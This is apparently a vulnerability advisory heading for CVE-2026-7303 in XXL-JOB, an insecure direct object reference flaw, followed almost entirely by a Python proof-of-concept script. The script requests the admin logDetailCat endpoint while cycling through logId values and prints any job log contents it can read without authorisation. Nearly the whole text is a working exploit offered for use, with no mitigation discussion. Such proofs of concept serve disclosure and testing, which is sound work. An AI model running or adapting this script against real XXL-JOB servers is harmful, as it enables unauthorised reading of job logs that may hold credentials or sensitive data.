CVE-2026-7303: XXL-JOB资源标识符控制不当漏洞

# PoC for CVE-2026-7303 # Author: Security Analyst # Description: Demonstration of IDOR in logDetailCat endpoint import requests def check_vulnerability(target_url): """ Attempts to access log details by manipulating the logId parameter. """ # The vulnerable endpoint path may vary based on deployment configuration endpoint = f"{target_url}/xxl-job-admin/logDetailCat" # An attacker can iterate through potential log IDs to access unauthorized data # Example log IDs to test log_ids = ["1", "2", "100", "999"] headers = { "User-Agent": "CVE-2026-7303-Scanner" } for log_id in log_ids: params = { "logId": log_id } try: response = requests.get(endpoint, params=params, headers=headers, timeout=10) # Check if the response contains log data (status 200) if response.status_code == 200: print(f"[+] Potential access to logId {log_id}:") print(response.text[:200]) # Print first 200 chars of response elif response.status_code == 404 or response.status_code == 500: print(f"[-] LogId {log_id} not found or server error.") else: print(f"[?] Unexpected status code for logId {log_id}: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[Error] Connection failed: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://127.0.0.1:8080" check_vulnerability(target)